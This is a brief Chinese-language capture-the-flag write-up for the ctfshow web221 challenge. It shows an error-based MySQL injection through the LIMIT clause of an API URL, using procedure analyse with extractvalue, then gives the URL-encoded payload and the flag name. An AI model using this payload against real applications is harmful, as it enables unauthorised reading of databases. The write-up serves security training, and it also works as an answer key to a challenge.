ctfshow web221

抓包发现

https://0379e84a-ed5c-4323-be7f-23c2f50d02ac.challenge.ctf.show/api/?page=1&limit=10

在这个URL进行注入

可以利用 procedure analyse() 通过 extractvalue 进行注入

page=1&limit=10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1) ;

对payload进行URL编码

%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1);

flag 是 ctfshow_web-flag_x